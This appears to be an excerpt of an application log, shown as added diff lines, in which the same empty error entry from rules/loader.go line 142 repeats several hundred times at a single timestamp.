+time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= 